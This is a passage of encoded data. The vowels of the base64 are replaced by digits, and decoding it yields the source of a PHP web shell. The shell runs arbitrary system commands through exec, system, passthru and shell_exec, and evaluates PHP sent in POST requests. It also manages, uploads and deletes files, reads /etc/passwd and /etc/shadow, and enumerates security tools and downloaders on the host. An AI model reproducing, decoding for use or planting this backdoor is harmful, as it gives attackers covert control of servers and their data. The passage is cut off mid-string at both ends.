W8gYzVsbHNwMWM0bmc9MCB3NGR0aD02MDAlPjx0cj48dGQgdzRkdGg9Nj48c3Axbj48ZjJudCBjMmwycj0icjVkIiA+VW4xbTU6PGJyPlVzNXI6PGJyPlBocDo8YnI+SGRkOjxicj5Dd2Q6PC9mMm50PicgLiAoJEdMT0JBTFNbJzJzJ10gPT0gJ3c0bic/Jzxicj48ZjJudCBjMmwycj0icjVkIiA+RHI0djVzOjwvZjJudD4nOicnKSAuICc8L3NwMW4+PC90ZD4nDQogICAgICAgLiAnPHRkPjxuMmJyPicgLiBzM2JzdHIoQHBocF8zbjFtNSgpLCAwLCA2YTApIC4gJyA8MSBocjVmPSInIC4gJDV4cGw0bmsgLiAnIiB0MXJnNXQ9X2JsMW5rPls1eHBsMjR0LWRiLmMybV08LzE+PC9uMmJyPjxicj4nIC4gJDM0ZCAuICcgKCAnIC4gJDNzNXIgLiAnICkgPHNwMW4+PGYybnQgYzJsMnI9InI1ZCIgPkdyMjNwOjwvZjJudD48L3NwMW4+ICcgLiAkZzRkIC4gJyAoICcgLiAkZ3IyM3AgLiAnICk8YnI+JyAuIEBwaHB2NXJzNDJuKCkgLiAnIDxzcDFuPjxmMm50IGMybDJyPSJyNWQiID5TMWY1IG0yZDU6PC9mMm50Pjwvc3Axbj4gJyAuICgkR0xPQkFMU1snczFmNV9tMmQ1J10/JzxmMm50IGMybDJyPWdyNTVuPk9OPC9mMm50Pic6JzxmMm50IGMybDJyPSMwMGJiMDA+PGI+T0ZGPC9iPjwvZjJudD4nKQ0KICAgICAgIC4gJyA8MSBocjVmPSMgMm5jbDRjaz0iZyhcJ1BocFwnLG4zbGwsXCdcJyxcJzRuZjJcJykiPlsgcGhwNG5mMiBdPC8xPiA8c3Axbj48ZjJudCBjMmwycj0icjVkIiA+RDF0NXQ0bTU6PC9mMm50Pjwvc3Axbj4gJyAuIGQxdDUoJ1ktbS1kIEg6NDpzJykgLiAnPGJyPicgLiB3czJWNDV3UzR6NSgkdDJ0MWxTcDFjNSkgLiAnIDxzcDFuPjxmMm50IGMybDJyPSJyNWQiID5GcjU1OjwvZjJudD48L3NwMW4+ICcgLiB3czJWNDV3UzR6NSgkZnI1NVNwMWM1KSAuICcgKCcuICg0bnQpICgkZnI1NVNwMWM1LyR0MnQxbFNwMWM1KjYwMCkgLiAnJSk8YnI+JyAuICRjd2RfbDRua3MgLiAnICcuIHdzMlA1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddKSAuICcgPDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLFwnJyAuICRHTE9CQUxTWydoMm01X2N3ZCddIC4gJ1wnLFwnXCcsXCdcJyxcJ1wnKSI+WyBoMm01IF08LzE+PGJyPicgLiAkZHI0djVzIC4gJzwvdGQ+Jw0KICAgICAgIC4gJzx0ZCB3NGR0aD02IDFsNGduPXI0Z2h0PjxuMmJyPjxzNWw1Y3QgMm5jaDFuZzU9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMudjFsMzUpIj48MnB0Z3IyM3AgbDFiNWw9IlAxZzUgY2gxcnM1dCI+JyAuICQycHRfY2gxcnM1dHMgLiAnPC8ycHRncjIzcD48L3M1bDVjdD48YnI+PHNwMW4+UzVydjVyIElQOjwvc3Axbj48YnI+JyAuIEAkX1NFUlZFUlsiU0VSVkVSX0FERFIiXSAuICc8YnI+PHNwMW4+Q2w0NW50IElQOjwvc3Axbj48YnI+JyAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gJzwvbjJicj48L3RkPjwvdHI+PC90MWJsNT4nDQogICAgICAgLiAnPHQxYmw1IHN0eWw1PSJiMnJkNXItdDJwOmFweCBzMmw0ZCAjb29vOyIgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCU+PHRyPicgLiAkbTVuMyAuICc8L3RyPjwvdDFibDU+PGQ0diBzdHlsNT0ibTFyZzRuOmkiPic7DQp9DQoNCmYzbmN0NDJuIHdzMkYyMnQ1cigpIHsNCgkkNHNfd3I0dDFibDUgPSA0c193cjR0MWJsNSgkR0xPQkFMU1snY3dkJ10pPyIgPGYybnQgYzJsMnI9JyNhaWZmMDAnPihXcjR0NTFibDUpPC9mMm50PiI6IiA8ZjJudCBjMmwycj1yNWQ+KE4ydCB3cjR0MWJsNSk8L2YybnQ+IjsNCiAgICA1Y2gyICINCjwvZDR2Pg0KPHQxYmw1IGNsMXNzPTRuZjIgNGQ9dDIybHNUYmwgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCUgIHN0eWw1PSdiMnJkNXItdDJwOmFweCBzMmw0ZCAjb29vO2IycmQ1ci1iMnR0Mm06YXB4IHMybDRkICNvb287Jz4NCgk8dHI+DQoJCTx0ZD48ZjJybSAybnMzYm00dD0nZyhuM2xsLHRoNHMuYy52MWwzNSxcIlwiKTtyNXQzcm4gZjFsczU7Jz48c3Axbj5DaDFuZzUgZDRyOjwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9YyB2MWwzNT0nIiAuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQoJCTx0ZD48ZjJybSAybnMzYm00dD1cImcoJ0Y0bDVzVDIybHMnLG4zbGwsdGg0cy5mLnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+PHNwMW4+UjUxZCBmNGw1Ojwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCgk8L3RyPjx0cj4NCgkJPHRkPjxmMnJtIDJuczNibTR0PVwiZygnRjRsNXNNMW4nLG4zbGwsJ21rZDRyJyx0aDRzLmQudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48c3Axbj5NMWs1IGQ0cjo8L3NwMW4+JDRzX3dyNHQxYmw1PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWQ+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQoJCTx0ZD48ZjJybSAybnMzYm00dD1cImcoJ0Y0bDVzVDIybHMnLG4zbGwsdGg0cy5mLnYxbDM1LCdta2Y0bDUnKTtyNXQzcm4gZjFsczU7XCI+PHNwMW4+TTFrNSBmNGw1Ojwvc3Axbj4kNHNfd3I0dDFibDU8YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCgk8L3RyPjx0cj4NCgkJPHRkPjxmMnJtIDJuczNibTR0PVwiZygnQzJuczJsNScsbjNsbCx0aDRzLmMudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48c3Axbj5FeDVjM3Q1Ojwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9YyB2MWwzNT0nJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4NCgkJPHRkPjxmMnJtIG01dGgyZD0ncDJzdCcgRU5DVFlQRT0nbTNsdDRwMXJ0L2Yycm0tZDF0MSc+DQoJCTw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9J0Y0bDVzTUFuJz4NCgkJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0nIiAuICRHTE9CQUxTWydjd2QnXSAuIic+DQoJCTw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXA2IHYxbDM1PSczcGwyMWRGNGw1Jz4NCgkJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0nIiAuICg0c3M1dCgkX1BPU1RbJ2NoMXJzNXQnXSk/JF9QT1NUWydjaDFyczV0J106JycpIC4gIic+DQoJCTxzcDFuPlVwbDIxZCBmNGw1Ojwvc3Axbj4kNHNfd3I0dDFibDU8YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT1mNGw1IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PGJyICA+PC90ZD4NCgk8L3RyPjwvdDFibDU+PC9kNHY+PC9iMmR5PjwvaHRtbD4iOw0KfQ0KDQo0ZiAoIWYzbmN0NDJuXzV4NHN0cygicDJzNHhfZzV0cHczNGQiKSAmJiAoc3RycDJzKCRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddLCAncDJzNHhfZzV0cHczNGQnKT09PWYxbHM1KSkgew0KICAgIGYzbmN0NDJuIHAyczR4X2c1dHB3MzRkKCRwKSB7cjV0M3JuIGYxbHM1O30gfQ0KNGYgKCFmM25jdDQybl81eDRzdHMoInAyczR4X2c1dGdyZzRkIikgJiYgKHN0cnAycygkR0xPQkFMU1snZDRzMWJsNV9mM25jdDQybnMnXSwgJ3AyczR4X2c1dGdyZzRkJyk9PT1mMWxzNSkpIHsNCiAgICBmM25jdDQybiBwMnM0eF9nNXRncmc0ZCgkcCkge3I1dDNybiBmMWxzNTt9IH0NCg0KZjNuY3Q0Mm4gd3MyRXgoJDRuKSB7DQoJJDIzdCA9ICcnOw0KCTRmIChmM25jdDQybl81eDRzdHMoJzV4NWMnKSkgew0KCQlANXg1YygkNG4sJDIzdCk7DQoJCSQyM3QgPSBAajI0bigiXG4iLCQyM3QpOw0KCX0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ3Axc3N0aHIzJykpIHsNCgkJMmJfc3QxcnQoKTsNCgkJQHAxc3N0aHIzKCQ0bik7DQoJCSQyM3QgPSAyYl9nNXRfY2w1MW4oKTsNCgl9IDVsczU0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCdzeXN0NW0nKSkgew0KCQkyYl9zdDFydCgpOw0KCQlAc3lzdDVtKCQ0bik7DQoJCSQyM3QgPSAyYl9nNXRfY2w1MW4oKTsNCgl9IDVsczU0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCdzaDVsbF81eDVjJykpIHsNCgkJJDIzdCA9IHNoNWxsXzV4NWMoJDRuKTsNCgl9IDVsczU0ZiAoNHNfcjVzMjNyYzUoJGYgPSBAcDJwNW4oJDRuLCJyIikpKSB7DQoJCSQyM3QgPSAiIjsNCgkJd2g0bDUoIUBmNTJmKCRmKSkNCgkJCSQyM3QgLj0gZnI1MWQoJGYsNjBhdSk7DQoJCXBjbDJzNSgkZik7DQoJfQ0KCXI1dDNybiAkMjN0Ow0KfQ0KZjNuY3Q0Mm4gd3MyVjQ1d1M0ejUoJHMpIHsNCgk0ZigkcyA+PSA2MDdvN3U2OGF1KQ0KCQlyNXQzcm4gc3ByNG50ZignJTYuYWYnLCAkcyAvIDYwN283dTY4YXUgKS4gJyBHQic7DQoJNWxzNTRmKCRzID49IDYwdThpN2UpDQoJCXI1dDNybiBzcHI0bnRmKCclNi5hZicsICRzIC8gNjB1OGk3ZSApIC4gJyBNQic7DQoJNWxzNTRmKCRzID49IDYwYXUpDQoJCXI1dDNybiBzcHI0bnRmKCclNi5hZicsICRzIC8gNjBhdSApIC4gJyBLQic7DQoJNWxzNQ0KCQlyNXQzcm4gJHMgLiAnIEInOw0KfQ0KDQpmM25jdDQybiB3czJQNXJtcygkcCkgew0KCTRmICgoJHAgJiAweEMwMDApID09IDB4QzAwMCkkNCA9ICdzJzsNCgk1bHM1NGYgKCgkcCAmIDB4QTAwMCkgPT0gMHhBMDAwKSQ0ID0gJ2wnOw0KCTVsczU0ZiAoKCRwICYgMHg4MDAwKSA9PSAweDgwMDApJDQgPSAnLSc7DQoJNWxzNTRmICgoJHAgJiAweGUwMDApID09IDB4ZTAwMCkkNCA9ICdiJzsNCgk1bHM1NGYgKCgkcCAmIDB4dTAwMCkgPT0gMHh1MDAwKSQ0ID0gJ2QnOw0KCTVsczU0ZiAoKCRwICYgMHhhMDAwKSA9PSAweGEwMDApJDQgPSAnYyc7DQoJNWxzNTRmICgoJHAgJiAweDYwMDApID09IDB4NjAwMCkkNCA9ICdwJzsNCgk1bHM1ICQ0ID0gJzMnOw0KCSQ0IC49ICgoJHAgJiAweDA2MDApID8gJ3InIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDB1MCkgPyAoKCRwICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsNCgkkNCAuPSAoKCRwICYgMHgwMGEwKSA/ICdyJyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDA2MCkgPyAndycgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MHUwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDB1MDApID8gJ1MnIDogJy0nKSk7DQoJJDQgLj0gKCgkcCAmIDB4MDAwdSkgPyAncicgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwMGEpID8gJ3cnIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMDA2KSA/ICgoJHAgJiAweDBhMDApID8gJ3QnIDogJ3gnICkgOiAoKCRwICYgMHgwYTAwKSA/ICdUJyA6ICctJykpOw0KCXI1dDNybiAkNDsNCn0NCg0KZjNuY3Q0Mm4gd3MyUDVybXNDMmwycigkZikgew0KCTRmICghQDRzX3I1MWQxYmw1KCRmKSkNCgkJcjV0M3JuICc8ZjJudCBjMmwycj0jRkYwMDAwPicgLiB3czJQNXJtcyhAZjRsNXA1cm1zKCRmKSkgLiAnPC9mMm50Pic7DQoJNWxzNTRmICghQDRzX3dyNHQxYmw1KCRmKSkNCgkJcjV0M3JuICc8ZjJudCBjMmwycj13aDR0NT4nIC4gd3MyUDVybXMoQGY0bDVwNXJtcygkZikpIC4gJzwvZjJudD4nOw0KCTVsczUNCgkJcjV0M3JuICc8ZjJudCBjMmwycj0jYWlmZjAwPicgLiB3czJQNXJtcyhAZjRsNXA1cm1zKCRmKSkgLiAnPC9mMm50Pic7DQp9DQoNCjRmKCFmM25jdDQybl81eDRzdHMoInNjMW5kNHIiKSkgew0KCWYzbmN0NDJuIHNjMW5kNHIoJGQ0cikgew0KCQkkZGggID0gMnA1bmQ0cigkZDRyKTsNCgkJd2g0bDUgKGYxbHM1ICE9PSAoJGY0bDVuMW01ID0gcjUxZGQ0cigkZGgpKSkNCiAgICAJCSRmNGw1c1tdID0gJGY0bDVuMW01Ow0KCQlyNXQzcm4gJGY0bDVzOw0KCX0NCn0NCg0KZjNuY3Q0Mm4gd3MyV2g0Y2goJHApIHsNCgkkcDF0aCA9IHdzMkV4KCd3aDRjaCAnIC4gJHApOw0KCTRmKCE1bXB0eSgkcDF0aCkpDQoJCXI1dDNybiAkcDF0aDsNCglyNXQzcm4gZjFsczU7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblM1Y0luZjIoKSB7DQoJd3MySDUxZDVyKCk7DQoJNWNoMiAnPGg2PlM1cnY1ciBzNWMzcjR0eSA0bmYycm0xdDQybjwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7DQoJZjNuY3Q0Mm4gd3MyUzVjUDFyMW0oJG4sICR2KSB7DQoJCSR2ID0gdHI0bSgkdik7DQoJCTRmKCR2KSB7DQoJCQk1Y2gyICc8c3Axbj4nIC4gJG4gLiAnOiA8L3NwMW4+JzsNCgkJCTRmKHN0cnAycygkdiwgIlxuIikgPT09IGYxbHM1KQ0KCQkJCTVjaDIgJHYgLiAnPGJyPic7DQoJCQk1bHM1DQoJCQkJNWNoMiAnPHByNSBjbDFzcz1tbDY+JyAuICR2IC4gJzwvcHI1Pic7DQoJCX0NCgl9DQoNCgl3czJTNWNQMXIxbSgnUzVydjVyIHMyZnR3MXI1JywgQGc1dDVudignU0VSVkVSX1NPRlRXQVJFJykpOw0KICAgIDRmKGYzbmN0NDJuXzV4NHN0cygnMXAxY2g1X2c1dF9tMmQzbDVzJykpDQogICAgICAgIHdzMlM1Y1AxcjFtKCdMMjFkNWQgQXAxY2g1IG0yZDNsNXMnLCA0bXBsMmQ1KCcsICcsIDFwMWNoNV9nNXRfbTJkM2w1cygpKSk7DQoJd3MyUzVjUDFyMW0oJ0Q0czFibDVkIFBIUCBGM25jdDQybnMnLCAkR0xPQkFMU1snZDRzMWJsNV9mM25jdDQybnMnXT8kR0xPQkFMU1snZDRzMWJsNV9mM25jdDQybnMnXTonbjJuNScpOw0KCXdzMlM1Y1AxcjFtKCdPcDVuIGIxczUgZDRyJywgQDRuNF9nNXQoJzJwNW5fYjFzNWQ0cicpKTsNCgl3czJTNWNQMXIxbSgnUzFmNSBtMmQ1IDV4NWMgZDRyJywgQDRuNF9nNXQoJ3MxZjVfbTJkNV81eDVjX2Q0cicpKTsNCgl3czJTNWNQMXIxbSgnUzFmNSBtMmQ1IDRuY2wzZDUgZDRyJywgQDRuNF9nNXQoJ3MxZjVfbTJkNV80bmNsM2Q1X2Q0cicpKTsNCgl3czJTNWNQMXIxbSgnY1VSTCBzM3BwMnJ0JywgZjNuY3Q0Mm5fNXg0c3RzKCdjM3JsX3Y1cnM0Mm4nKT8nNW4xYmw1ZCc6J24yJyk7DQoJJHQ1bXA9MXJyMXkoKTsNCgk0ZihmM25jdDQybl81eDRzdHMoJ215c3FsX2c1dF9jbDQ1bnRfNG5mMicpKQ0KCQkkdDVtcFtdID0gIk15U3FsICgiLm15c3FsX2c1dF9jbDQ1bnRfNG5mMigpLiIpIjsNCgk0ZihmM25jdDQybl81eDRzdHMoJ21zc3FsX2Mybm41Y3QnKSkNCgkJJHQ1bXBbXSA9ICJNU1NRTCI7DQoJNGYoZjNuY3Q0Mm5fNXg0c3RzKCdwZ19jMm5uNWN0JykpDQoJCSR0NW1wW10gPSAiUDJzdGdyNVNRTCI7DQoJNGYoZjNuY3Q0Mm5fNXg0c3RzKCcyYzRfYzJubjVjdCcpKQ0KCQkkdDVtcFtdID0gIk9yMWNsNSI7DQoJd3MyUzVjUDFyMW0oJ1MzcHAycnQ1ZCBkMXQxYjFzNXMnLCA0bXBsMmQ1KCcsICcsICR0NW1wKSk7DQoJNWNoMiAnPGJyPic7DQoNCgk0ZigkR0xPQkFMU1snMnMnXSA9PSAnbjR4Jykgew0KCQl3czJTNWNQMXIxbSgnUjUxZDFibDUgLzV0Yy9wMXNzd2QnLCBANHNfcjUxZDFibDUoJy81dGMvcDFzc3dkJyk/Ink1cyA8MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNUMjJsc1wiLCBcIi81dGMvXCIsIFwicDFzc3dkXCIpJz5bdjQ1d108LzE+IjonbjInKTsNCgkJd3MyUzVjUDFyMW0oJ1I1MWQxYmw1IC81dGMvc2gxZDJ3JywgQDRzX3I1MWQxYmw1KCcvNXRjL3NoMWQydycpPyJ5NXMgPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzVDIybHNcIiwgXCI1dGNcIiwgXCJzaDFkMndcIiknPlt2NDV3XTwvMT4iOiduMicpOw0KCQl3czJTNWNQMXIxbSgnT1MgdjVyczQybicsIEBmNGw1X2c1dF9jMm50NW50cygnL3ByMmMvdjVyczQybicpKTsNCgkJd3MyUzVjUDFyMW0oJ0Q0c3RyIG4xbTUnLCBAZjRsNV9nNXRfYzJudDVudHMoJy81dGMvNHNzMzUubjV0JykpOw0KCQk0ZighJEdMT0JBTFNbJ3MxZjVfbTJkNSddKSB7DQogICAgICAgICAgICAkM3M1cmYzbCA9IDFycjF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbTFrNScsJ3BocCcsJ3A1cmwnLCdweXRoMm4nLCdyM2J5JywndDFyJywnZ3o0cCcsJ2J6NHAnLCdiejRwYScsJ25jJywnbDJjMXQ1JywnczM0ZHA1cmwnKTsNCiAgICAgICAgICAgICRkMW5nNXIgPSAxcnIxeSgnazF2JywnbjJkb2EnLCdiZGMycjVkJywnM3ZzYzFuJywnczF2JywnZHJ3NWJkJywnY2wxbWQnLCdya2gzbnQ1cicsJ2Noa3IyMnRrNHQnLCc0cHQxYmw1cycsJzRwZncnLCd0cjRwdzRyNScsJ3NoNDVsZGNjJywncDJydHM1bnRyeScsJ3NuMnJ0JywnMnNzNWMnLCdsNGRzMWRtJywndGNwbDJkZycsJ3N4NGQnLCdsMmdjaDVjaycsJ2wyZ3cxdGNoJywnc3lzbTFzaycsJ3ptYnNjMXAnLCdzMXdtNGxsJywndzJybXNjMW4nLCduNG5qMScpOw0KICAgICAgICAgICAgJGQyd25sMjFkNXJzID0gMXJyMXkoJ3dnNXQnLCdmNXRjaCcsJ2x5bngnLCdsNG5rcycsJ2MzcmwnLCdnNXQnLCdsd3AtbTRycjJyJyk7DQoJCQk1Y2gyICc8YnI+JzsNCgkJCSR0NW1wPTFycjF5KCk7DQoJCQlmMnI1MWNoICgkM3M1cmYzbCAxcyAkNHQ1bSkNCgkJCQk0Zih3czJXaDRjaCgkNHQ1bSkpDQogICAgICAgICAgICAgICAgICAgICR0NW1wW10gPSAkNHQ1bTsNCgkJCXdzMlM1Y1AxcjFtKCdVczVyZjNsJywgNG1wbDJkNSgnLCAnLCR0NW1wKSk7DQoJCQkkdDVtcD0xcnIxeSgpOw0KCQkJZjJyNTFjaCAoJGQxbmc1ciAxcyAkNHQ1bSkNCgkJCQk0Zih3czJXaDRjaCgkNHQ1bSkpDQogICAgICAgICAgICAgICAgICAgICR0NW1wW10gPSAkNHQ1bTsNCgkJCXdzMlM1Y1AxcjFtKCdEMW5nNXInLCA0bXBsMmQ1KCcsICcsJHQ1bXApKTsNCgkJCSR0NW1wPTFycjF5KCk7DQoJCQlmMnI1MWNoICgkZDJ3bmwyMWQ1cnMgMXMgJDR0NW0pDQoJCQkJNGYod3MyV2g0Y2goJDR0NW0pKQ0KICAgICAgICAgICAgICAgICAgICAkdDVtcFtdID0gJDR0NW07DQoJCQl3czJTNWNQMXIxbSgnRDJ3bmwyMWQ1cnMnLCA0bXBsMmQ1KCcsICcsJHQ1bXApKTsNCgkJCTVjaDIgJzxici8+JzsNCiAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdIREQgc3AxYzUnLCB3czJFeCgnZGYgLWgnKSk7DQoJCQl3czJTNWNQMXIxbSgnSDJzdHMnLCBAZjRsNV9nNXRfYzJudDVudHMoJy81dGMvaDJzdHMnKSk7DQoJCX0NCgl9IDVsczUgew0KCQl3czJTNWNQMXIxbSgnT1MgVjVyczQybicsd3MyRXgoJ3Y1cicpKTsNCgkJd3MyUzVjUDFyMW0oJ0FjYzIzbnQgUzV0dDRuZ3MnLHdzMkV4KCduNXQgMWNjMjNudHMnKSk7DQoJCXdzMlM1Y1AxcjFtKCdVczVyIEFjYzIzbnRzJyx3czJFeCgnbjV0IDNzNXInKSk7DQoJfQ0KCTVjaDIgJzwvZDR2Pic7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblBocCgpIHsNCgk0Zig0c3M1dCgkX1BPU1RbJzFqMXgnXSkpIHsNCgkJJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJzFqMXgnXSA9IHRyMzU7DQoJCTJiX3N0MXJ0KCk7DQoJCTV2MWwoJF9QT1NUWydwNiddKTsNCgkJJHQ1bXAgPSAiZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ1BocE8zdHAzdCcpLnN0eWw1LmQ0c3BsMXk9Jyc7ZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ1BocE8zdHAzdCcpLjRubjVySFRNTD0nIiAuIDFkZGNzbDFzaDVzKGh0bWxzcDVjNDFsY2gxcnMoMmJfZzV0X2NsNTFuKCkpLCAiXG5cclx0XFwnXDAiKSAuICInO1xuIjsNCgkJNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsNCgkJNXg0dDsNCgl9DQoJd3MySDUxZDVyKCk7DQoJNGYoNHNzNXQoJF9QT1NUWydwYSddKSAmJiAoJF9QT1NUWydwYSddID09ICc0bmYyJykpIHsNCgkJNWNoMiAnPGg2PlBIUCA0bmYyPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PHN0eWw1Pi5wIHtjMmwycjojMDAwO308L3N0eWw1Pic7DQoJCTJiX3N0MXJ0KCk7DQoJCXBocDRuZjIoKTsNCgkJJHRtcCA9IDJiX2c1dF9jbDUxbigpOw0KICAgICAgICAkdG1wID0gcHI1Z19yNXBsMWM1KCchKGIyZHl8MTpcdyt8YjJkeSwgdGQsIHRoLCBoNiwgaGEpIHsuKn0hbXM0VScsJycsJHRtcCk7DQoJCSR0bXAgPSBwcjVnX3I1cGwxYzUoJyF0ZCwgdGggeyguKil9IW1zNFUnLCcuNSwgLnYsIC5oLCAuaCB0aCB7JDZ9JywkdG1wKTsNCgkJNWNoMiBzdHJfcjVwbDFjNSgnPGg2JywnPGhhJywgJHRtcCkgLic8L2Q0dj48YnI+JzsNCgl9DQoJNGYoNW1wdHkoJF9QT1NUWycxajF4J10pICYmICE1bXB0eSgkX1BPU1RbJ3A2J10pKQ0KCQkkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnMWoxeCddID0gZjFsczU7DQogICAgNWNoMiAnPGg2PkV4NWMzdDQybiBQSFAtYzJkNTwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxmMnJtIG4xbTU9cGYgbTV0aDJkPXAyc3QgMm5zM2JtNHQ9IjRmKHRoNHMuMWoxeC5jaDVjazVkKXsxKFwnUGhwXCcsbjNsbCx0aDRzLmMyZDUudjFsMzUpO301bHM1e2coXCdQaHBcJyxuM2xsLHRoNHMuYzJkNS52MWwzNSxcJ1wnKTt9cjV0M3JuIGYxbHM1OyI+PHQ1eHQxcjUxIG4xbTU9YzJkNSBjbDFzcz1iNGcxcjUxIDRkPVBocEMyZDU+Jy4oITVtcHR5KCRfUE9TVFsncDYnXSk/aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10pOicnKS4nPC90NXh0MXI1MT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9RXYxbCBzdHlsNT0ibTFyZzRuLXQycDppcHgiPic7DQoJNWNoMiAnIDw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9MWoxeCB2MWwzNT02ICcuKCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddPydjaDVjazVkJzonJykuJz4gczVuZCAzczRuZyBBSkFYPC9mMnJtPjxwcjUgNGQ9UGhwTzN0cDN0IHN0eWw1PSInLig1bXB0eSgkX1BPU1RbJ3A2J10pPydkNHNwbDF5Om4ybjU7JzonJykuJ20xcmc0bi10MnA6aXB4OyIgY2wxc3M9bWw2Pic7DQoJNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJMmJfc3QxcnQoKTsNCgkJNXYxbCgkX1BPU1RbJ3A2J10pOw0KCQk1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoMmJfZzV0X2NsNTFuKCkpOw0KCX0NCgk1Y2gyICc8L3ByNT48L2Q0dj4nOw0KCXdzMkYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5GNGw1c00xbigpIHsNCgl3czJINTFkNXIoKTsNCgk1Y2gyICc8aDY+RjRsNSBtMW4xZzVyPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PHNjcjRwdD5wNl89cGFfPXBvXz0iIjs8L3NjcjRwdD4nOw0KCTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQoJCXN3NHRjaCgkX1BPU1RbJ3A2J10pIHsNCgkJCWMxczUgJzNwbDIxZEY0bDUnOg0KCQkJCTRmKCFAbTJ2NV8zcGwyMWQ1ZF9mNGw1KCRfRklMRVNbJ2YnXVsndG1wX24xbTUnXSwgJF9GSUxFU1snZiddWyduMW01J10pKQ0KCQkJCQk1Y2gyICJDMW4ndCAzcGwyMWQgZjRsNSEiOw0KCQkJCWJyNTFrOw0KCQkJYzFzNSAnbWtkNHInOg0KCQkJCTRmKCFAbWtkNHIoJF9QT1NUWydwYSddKSkNCgkJCQkJNWNoMiAiQzFuJ3QgY3I1MXQ1IG41dyBkNHIiOw0KCQkJCWJyNTFrOw0KCQkJYzFzNSAnZDVsNXQ1JzoNCgkJCQlmM25jdDQybiBkNWw1dDVENHIoJHAxdGgpIHsNCgkJCQkJJHAxdGggPSAoczNic3RyKCRwMXRoLC02KT09Jy8nKSA/ICRwMXRoOiRwMXRoLicvJzsNCgkJCQkJJGRoICA9IDJwNW5kNHIoJHAxdGgpOw0KCQkJCQl3aDRsNSAoICgkNHQ1bSA9IHI1MWRkNHIoJGRoKSApICE9PSBmMWxzNSkgew0KCQkJCQkJJDR0NW0gPSAkcDF0aC4kNHQ1bTsNCgkJCQkJCTRmICggKGIxczVuMW01KCQ0dDVtKSA9PSAiLi4iKSB8fCAoYjFzNW4xbTUoJDR0NW0pID09ICIuIikgKQ0KCQkJCQkJCWMybnQ0bjM1Ow0KCQkJCQkJJHR5cDUgPSBmNGw1dHlwNSgkNHQ1bSk7DQoJCQkJCQk0Zi